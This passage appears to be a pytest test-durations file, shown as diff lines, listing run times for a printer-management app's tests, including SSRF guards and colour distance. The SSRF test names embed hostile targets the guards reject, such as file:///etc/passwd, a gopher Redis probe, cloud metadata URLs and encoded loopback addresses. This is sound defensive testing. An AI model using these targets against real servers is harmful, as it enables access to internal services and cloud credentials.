"unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://spoolman.lan:7912-obico_ml_url]": 0.001241748221218586, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://spoolman.lan:7912-orcaslicer_api_url]": 0.0012377416715025902, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[https://ntfy.example.com/-bambu_studio_api_url]": 0.0012319991365075111, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[https://ntfy.example.com/-ha_url]": 0.0012296643108129501, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[https://ntfy.example.com/-obico_ml_url]": 0.001221238635480404, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[https://ntfy.example.com/-orcaslicer_api_url]": 0.0012385006994009018, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[file:///etc/passwd-bambu_studio_api_url]": 0.0012784451246261597, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[file:///etc/passwd-ha_url]": 0.0013276180252432823, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[file:///etc/passwd-obico_ml_url]": 0.0013019619509577751, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[file:///etc/passwd-orcaslicer_api_url]": 0.0012741973623633385, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[ftp://internal.example.com/-bambu_studio_api_url]": 0.0012497827410697937, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[ftp://internal.example.com/-ha_url]": 0.0012539597228169441, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[ftp://internal.example.com/-obico_ml_url]": 0.0012490414083003998, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[ftp://internal.example.com/-orcaslicer_api_url]": 0.0012310771271586418, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[gopher://127.0.0.1:6379/_INFO-bambu_studio_api_url]": 0.0012943139299750328, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[gopher://127.0.0.1:6379/_INFO-ha_url]": 0.001275668852031231, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[gopher://127.0.0.1:6379/_INFO-obico_ml_url]": 0.0012778649106621742, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[gopher://127.0.0.1:6379/_INFO-orcaslicer_api_url]": 0.0012941854074597359, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0.0.0.0/-bambu_studio_api_url]": 0.0012970007956027985, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0.0.0.0/-ha_url]": 0.001291549764573574, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0.0.0.0/-obico_ml_url]": 0.001284666359424591, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0.0.0.0/-orcaslicer_api_url]": 0.0012911604717373848, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0x7f000001/-bambu_studio_api_url]": 0.0012683365494012833, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0x7f000001/-ha_url]": 0.001260383054614067, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0x7f000001/-obico_ml_url]": 0.0012853704392910004, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://0x7f000001/-orcaslicer_api_url]": 0.0012712134048342705, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://100.100.100.200/-bambu_studio_api_url]": 0.0012562554329633713, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://100.100.100.200/-ha_url]": 0.0012667542323470116, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://100.100.100.200/-obico_ml_url]": 0.001280088908970356, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://100.100.100.200/-orcaslicer_api_url]": 0.001250503584742546, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://169.254.169.254/latest/meta-data/-bambu_studio_api_url]": 0.0012835459783673286, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://169.254.169.254/latest/meta-data/-ha_url]": 0.0012673158198595047, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://169.254.169.254/latest/meta-data/-obico_ml_url]": 0.001281033270061016, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://169.254.169.254/latest/meta-data/-orcaslicer_api_url]": 0.0012663640081882477, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://2130706433/-bambu_studio_api_url]": 0.001255192793905735, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://2130706433/-ha_url]": 0.0012532304972410202, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://2130706433/-obico_ml_url]": 0.0012662429362535477, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://2130706433/-orcaslicer_api_url]": 0.0012539997696876526, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://239.255.255.250/-bambu_studio_api_url]": 0.001286633312702179, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://239.255.255.250/-ha_url]": 0.0012894142419099808, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://239.255.255.250/-obico_ml_url]": 0.0012883245944976807, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://239.255.255.250/-orcaslicer_api_url]": 0.001276552677154541, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/-bambu_studio_api_url]": 0.0012597320601344109, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/-ha_url]": 0.0012555420398712158, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/-obico_ml_url]": 0.0012482190504670143, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/-orcaslicer_api_url]": 0.0012434395030140877, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[::ffff:169.254.169.254]/-bambu_studio_api_url]": 0.001287754625082016, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[::ffff:169.254.169.254]/-ha_url]": 0.0012793978676199913, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[::ffff:169.254.169.254]/-obico_ml_url]": 0.001301981508731842, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[::ffff:169.254.169.254]/-orcaslicer_api_url]": 0.0013117874041199684, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[fd00:ec2::254]/-bambu_studio_api_url]": 0.0012739496305584908, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[fd00:ec2::254]/-ha_url]": 0.0013065878301858902, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[fd00:ec2::254]/-obico_ml_url]": 0.0013622129335999489, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://[fd00:ec2::254]/-orcaslicer_api_url]": 0.00126592256128788, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.goog/-bambu_studio_api_url]": 0.001234494149684906, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.goog/-ha_url]": 0.0014788713306188583, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.goog/-obico_ml_url]": 0.0012360354885458946, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.goog/-orcaslicer_api_url]": 0.001241067424416542, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.google.internal/-bambu_studio_api_url]": 0.0012539597228169441, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.google.internal/-ha_url]": 0.001263718120753765, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.google.internal/-obico_ml_url]": 0.0012648608535528183, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_reject_dangerous_targets[http://metadata.google.internal/-orcaslicer_api_url]": 0.0012667039409279823, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_still_reject_a_real_non_http_scheme[bambu_studio_api_url]": 0.0012160101905465126, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_still_reject_a_real_non_http_scheme[ha_url]": 0.0012364694848656654, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_still_reject_a_real_non_http_scheme[obico_ml_url]": 0.0012145666405558586, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_still_reject_a_real_non_http_scheme[orcaslicer_api_url]": 0.0012123631313443184, + "unit/test_outbound_url_ssrf_guards.py::test_spoolman_wrapper_keeps_its_user_facing_wording": 0.001453133299946785, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_keeps_failing_closed_on_non_lan_device_values[127.0.0.1]": 0.0013266773894429207, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_keeps_failing_closed_on_non_lan_device_values[not-an-ip]": 0.001352793537080288, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_keeps_failing_closed_on_non_lan_device_values[tasmota.local]": 0.0013359440490603447, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_rejects_metadata_and_misuse_addresses[0.0.0.0]": 0.0013311738148331642, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_rejects_metadata_and_misuse_addresses[100.100.100.200]": 0.0013527469709515572, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_rejects_metadata_and_misuse_addresses[169.254.169.254]": 0.0013281181454658508, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_rejects_metadata_and_misuse_addresses[239.255.255.250]": 0.0013302741572260857, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_rejects_metadata_and_misuse_addresses[fd00:ec2::254]": 0.001342765986919403, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_still_permits_a_normal_lan_plug[10.0.0.7]": 0.0013298913836479187, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_still_permits_a_normal_lan_plug[172.16.4.9]": 0.0013212058693170547, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_still_permits_a_normal_lan_plug[192.168.1.50]": 0.0013130111619830132, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_unwraps_ipv4_mapped_ipv6[::ffff:100.100.100.200]": 0.001328200101852417, + "unit/test_outbound_url_ssrf_guards.py::test_tasmota_guard_unwraps_ipv4_mapped_ipv6[::ffff:169.254.169.254]": 0.0013639982789754868, + "unit/test_outbound_url_ssrf_guards.py::test_test_config_refuses_metadata_targets_without_a_request[bark-config1]": 0.0016093160957098007, + "unit/test_outbound_url_ssrf_guards.py::test_test_config_refuses_metadata_targets_without_a_request[ntfy-config0]": 0.001575162634253502, + "unit/test_outbound_url_ssrf_guards.py::test_test_config_refuses_metadata_targets_without_a_request[webhook-config2]": 0.0015665264800190926, + "unit/test_outbound_url_ssrf_guards.py::test_the_route_walk_actually_finds_something": 0.0027976734563708305, + "unit/test_outbound_url_ssrf_guards.py::test_user_supplied_host_providers_use_the_opaque_path[Bark server]": 0.0013105664402246475, + "unit/test_outbound_url_ssrf_guards.py::test_user_supplied_host_providers_use_the_opaque_path[Home Assistant endpoint]": 0.0012981239706277847, + "unit/test_outbound_url_ssrf_guards.py::test_user_supplied_host_providers_use_the_opaque_path[ntfy server]": 0.0017450116574764252, + "unit/test_outbound_url_ssrf_guards.py::test_user_supplied_host_providers_use_the_opaque_path[webhook endpoint]": 0.0012873327359557152, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_a_colour_is_zero_from_itself": 0.0012026941403746605, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab10-lab20-2.0425]": 0.0012922212481498718, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab11-lab21-2.8615]": 0.0012768618762493134, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab110-lab210-7.2195]": 0.001275157555937767, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab111-lab211-7.2195]": 0.0012870533391833305, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab112-lab212-4.3065]": 0.0012849485501646996, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab113-lab213-27.1492]": 0.001283455640077591, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab114-lab214-22.8977]": 0.0012804092839360237, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab115-lab215-31.903]": 0.0012810323387384415, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab116-lab216-19.4535]": 0.0012729363515973091, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab117-lab217-1.0]": 0.0012951986864209175, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab118-lab218-1.0]": 0.0012819617986679077, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab119-lab219-1.0]": 0.0013020709156990051, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab12-lab22-3.4412]": 0.0015282751992344856, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab120-lab220-1.0]": 0.0012923311442136765, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab121-lab221-1.2644]": 0.0016115698963403702, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab122-lab222-1.263]": 0.0012905998155474663, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab123-lab223-1.8731]": 0.001298312097787857, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab124-lab224-1.8645]": 0.001311708241701126, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab125-lab225-2.0373]": 0.0013105357065796852, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab126-lab226-1.4146]": 0.0013137217611074448, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab127-lab227-1.4441]": 0.0013346010819077492, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab128-lab228-1.5381]": 0.0013226186856627464, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab129-lab229-0.6377]": 0.0013317866250872612, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab13-lab23-1.0]": 0.001307590864598751, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab130-lab230-0.9082]": 0.0013220477849245071, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab14-lab24-1.0]": 0.0012858211994171143, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab15-lab25-1.0]": 0.0013070693239569664, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab16-lab26-2.3669]": 0.00129633117467165, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab17-lab27-2.3669]": 0.0013026315718889236, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab18-lab28-7.1792]": 0.001285388134419918, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_is_symmetric[lab19-lab29-7.1792]": 0.0012939749285578728, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab10-lab20-2.0425]": 0.0014658281579613686, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab11-lab21-2.8615]": 0.001414272002875805, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab110-lab210-7.2195]": 0.001423688605427742, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab111-lab211-7.2195]": 0.0014351392164826393, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab112-lab212-4.3065]": 0.0014497581869363785, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab113-lab213-27.1492]": 0.0014229975640773773, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab114-lab214-22.8977]": 0.001424669288098812, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab115-lab215-31.903]": 0.0014266641810536385, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab116-lab216-19.4535]": 0.0013981806114315987, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab117-lab217-1.0]": 0.001431322656571865, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab118-lab218-1.0]": 0.0014490550383925438, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab119-lab219-1.0]": 0.0014543775469064713, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab12-lab22-3.4412]": 0.0014185179024934769, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab120-lab220-1.0]": 0.0014164149761199951, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab121-lab221-1.2644]": 0.0014146706089377403, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab122-lab222-1.263]": 0.00145783182233572, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab123-lab223-1.8731]": 0.0014431746676564217, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab124-lab224-1.8645]": 0.0014552576467394829, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab125-lab225-2.0373]": 0.0013304036110639572, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab126-lab226-1.4146]": 0.001298796385526657, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab127-lab227-1.4441]": 0.00126662477850914, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab128-lab228-1.5381]": 0.0012744897976517677, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab129-lab229-0.6377]": 0.0012682471424341202, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab13-lab23-1.0]": 0.0013971086591482162, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab130-lab230-0.9082]": 0.0012844763696193695, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab14-lab24-1.0]": 0.0014353813603520393, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab15-lab25-1.0]": 0.001416604034602642, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab16-lab26-2.3669]": 0.0014047734439373016, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab17-lab27-2.3669]": 0.001445016823709011, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab18-lab28-7.1792]": 0.0014349492266774178, + "unit/test_perceptual_color_distance.py::TestAgainstPublishedReference::test_matches_sharma_reference_value[lab19-lab29-7.1792]": 0.0014252718538045883, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_alpha_is_ignored_so_a_transparent_filament_matches_itself": 0.0012048380449414253, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_black_and_white_are_the_full_lightness_range_apart": 0.0012028645724058151, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_identical_colours_are_zero_apart": 0.0012174230068922043, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_pure_hues_are_far_apart": 0.0012031067162752151, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_unusable_input_is_none_rather_than_a_number[ ]": 0.0012550726532936096, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_unusable_input_is_none_rather_than_a_number[#abc]": 0.0012530097737908363, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_unusable_input_is_none_rather_than_a_number[#zzzzzz]": 0.0012728460133075714, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_unusable_input_is_none_rather_than_a_number[None]": 0.0012485310435295105, + "unit/test_perceptual_color_distance.py::TestHexEntryPoint::test_unusable_input_is_none_rather_than_a_number[]": 0.0012618647888302803, + "unit/test_perceptual_color_distance.py::TestLabConversion::test_black_maps_to_the_origin": 0.0014125676825642586, + "unit/test_perceptual_color_distance.py::TestLabConversion::test_greys_have_no_chroma": 0.0012305760756134987, + "unit/test_perceptual_color_distance.py::TestLabConversion::test_reference_white_maps_to_l100_and_no_chroma": 0.0012130029499530792, + "unit/test_perceptual_color_distance.py::TestWhyItReplacedRgbDistance::test_equal_rgb_distances_are_not_equally_visible": 0.001208605244755745, + "unit/test_perceptual_color_distance.py::TestWhyItReplacedRgbDistance::test_rgb_would_rank_a_purple_above_a_green_for_a_green_requirement": 0.0012164413928985596, + "unit/test_permissions.py::TestDefaultGroups::test_administrators_have_all_permissions": 0.001176103949546814, + "unit/test_permissions.py::TestDefaultGroups::test_operators_have_clear_plate": 0.0011832984164357185, + "unit/test_permissions.py::TestDefaultGroups::test_operators_have_control_and_clear_plate": 0.0011959420517086983, + "unit/test_permissions.py::TestDefaultGroups::test_viewers_do_not_have_clear_plate": 0.0011998685076832771, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_administrators_have_view_assignments": 0.0011851117014884949, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_operators_have_view_assignments": 0.0011780578643083572, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_view_assignments_in_all_permissions": 0.0012009525671601295, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_view_assignments_in_inventory_category": 0.0011844001710414886, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_view_assignments_permission_exists": 0.0011800406500697136, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_view_assignments_separate_from_read": 0.0012093055993318558, + "unit/test_permissions.py::TestInventoryViewAssignmentsPermission::test_viewers_have_view_assignments": 0.001178830862045288, + "unit/test_permissions.py::TestPermissionCategoriesCompleteness::test_all_permissions_categorized": 0.0012029940262436867, + "unit/test_permissions.py::TestPermissionCategoriesCompleteness::test_no_duplicate_categorization": 0.0011959420517086983, + "unit/test_permissions.py::TestPermissionEnum::test_clear_plate_in_all_permissions": 0.0012069521471858025, + "unit/test_permissions.py::TestPermissionEnum::test_clear_plate_in_printers_category": 0.0011990563943982124, + "unit/test_permissions.py::TestPermissionEnum::test_clear_plate_permission_exists": 0.0012063225731253624, + "unit/test_permissions.py::TestPermissionEnum::test_clear_plate_separate_from_control": 0.001178269274532795, + "unit/test_permissions_stats_filter.py::TestApplyUserFilter::test_appends_to_existing_conditions": 0.0012601306661963463, + "unit/test_permissions_stats_filter.py::TestApplyUserFilter::test_minus_one_adds_is_null": 0.0012893257662653923, + "unit/test_permissions_stats_filter.py::TestApplyUserFilter::test_none_does_nothing": 0.0012230519205331802, + "unit/test_permissions_stats_filter.py::TestApplyUserFilter::test_positive_id_adds_filter": 0.0014330651611089706, + "unit/test_permissions_stats_filter.py::TestStatsFilterByUserPermission::test_permission_enum_exists": 0.001187475398182869, + "unit/test_permissions_stats_filter.py::TestStatsFilterByUserPermission::test_permission_in_administrators_group": 0.0011912630870938301, + "unit/test_permissions_stats_filter.py::TestStatsFilterByUserPermission::test_permission_in_all_permissions": 0.0011711334809660912, + "unit/test_permissions_stats_filter.py::TestStatsFilterByUserPermission::test_permission_in_stats_category": 0.0011755339801311493, + "unit/test_permissions_stats_filter.py::TestStatsFilterByUserPermission::test_permission_not_in_operators_group": 0.0012104390189051628, + "unit/test_permissions_stats_filter.py::TestStatsFilterByUserPermission::test_permission_not_in_viewers_group": 0.0012034866958856583, + "unit/test_permissions_stats_filter.py::TestValidateUserFilterPermission::test_admin_always_allowed": 0.0013240128755569458, + "unit/test_permissions_stats_filter.py::TestValidateUserFilterPermission::test_no_filter_no_check": 0.001239042729139328, + "unit/test_permissions_stats_filter.py::TestValidateUserFilterPermission::test_no_user_no_check": 0.0012022340670228004, + "unit/test_permissions_stats_filter.py::TestValidateUserFilterPermission::test_sentinel_minus_one_also_checked": 0.001576034352183342, + "unit/test_permissions_stats_filter.py::TestValidateUserFilterPermission::test_user_with_permission_allowed": 0.0013774707913398743, + "unit/test_permissions_stats_filter.py::TestValidateUserFilterPermission::test_user_without_permission_denied": 0.0013906164094805717, + "unit/test_phantom_print_hardening.py::TestArchiveMatchQueryShape::test_check_name_derivation_from_filename": 0.0012294240295886993, + "unit/test_phantom_print_hardening.py::TestArchiveMatchQueryShape::test_check_name_derivation_from_subtask": 0.002144439145922661, + "unit/test_phantom_print_hardening.py::TestArchiveMatchQueryShape::test_partial_name_not_in_query": 0.002170276828110218, + "unit/test_phantom_print_hardening.py::TestArchiveMatchQueryShape::test_query_does_not_contain_ilike": 0.002502349205315113, + "unit/test_phantom_print_hardening.py::TestArchiveMatchQueryShape::test_query_uses_exact_equality": 0.0021962570026516914, + "unit/test_phantom_print_hardening.py::TestArchiveMatchQueryShape::test_query_uses_in_for_filename_variants": 0.002154598943889141, + "unit/test_phantom_print_hardening.py::TestBusyPrinterSeedingFromPrintingItems::test_check_queue_skips_printer_with_existing_printing_item": 0.07406598050147295, + "unit/test_phantom_print_hardening.py::TestBusyPrinterSeedingFromPrintingItems::test_seed_query_empty_when_no_printing_items": 0.06295216176658869, + "unit/test_phantom_print_hardening.py::TestBusyPrinterSeedingFromPrintingItems::test_seed_query_returns_printers_with_printing_items": 0.06250774953514338, + "unit/test_phantom_print_hardening.py::TestMultiplePrintingQueueItemsWarning::test_empty_list_returns_none_no_warning": 0.0013943426311016083, + "unit/test_phantom_print_hardening.py::TestMultiplePrintingQueueItemsWarning::test_multiple_items_warns_and_returns_first": 0.0017018001526594162, + "unit/test_phantom_print_hardening.py::TestMultiplePrintingQueueItemsWarning::test_single_item_returns_item_no_warning": 0.0014309016987681389, + "unit/test_phantom_print_hardening.py::TestMultiplePrintingQueueItemsWarning::test_three_items_warns_with_all_details": 0.0018010949715971947, + "unit/test_plate_clear_mqtt_notification.py::TestEdgeTriggering::test_does_not_emit_when_clearing_a_gate_that_was_never_up": 0.0016282536089420319, + "unit/test_plate_clear_mqtt_notification.py::TestEdgeTriggering::test_does_not_re_emit_when_already_awaiting": 0.0016723452135920525, + "unit/test_plate_clear_mqtt_notification.py::TestEdgeTriggering::test_emits_on_the_falling_edge": 0.0016541508957743645, + "unit/test_plate_clear_mqtt_notification.py::TestEdgeTriggering::test_emits_on_the_rising_edge": 0.00204546470195055, + "unit/test_plate_clear_mqtt_notification.py::TestEmitFanOut::test_falling_edge_publishes_but_does_not_notify": 0.001902405172586441, + "unit/test_plate_clear_mqtt_notification.py::TestEmitFanOut::test_falls_back_to_the_db_when_no_client_is_registered": 0.0022820569574832916, + "unit/test_plate_clear_mqtt_notification.py::TestEmitFanOut::test_mqtt_failure_does_not_block_the_notification": 0.0024634459987282753, + "unit/test_plate_clear_mqtt_notification.py::TestEmitFanOut::test_rising_edge_publishes_and_notifies": 0.002670714631676674, + "unit/test_plate_clear_mqtt_notification.py::TestEmitFanOut::test_unknown_printer_is_a_no_op": 0.004354642704129219, + "unit/test_plate_clear_mqtt_notification.py::TestPlateClearTopic::test_honours_the_configured_topic_prefix": 0.0019759945571422577, + "unit/test_plate_clear_mqtt_notification.py::TestPlateClearTopic::test_publishes_retained_state_on_its_own_topic": 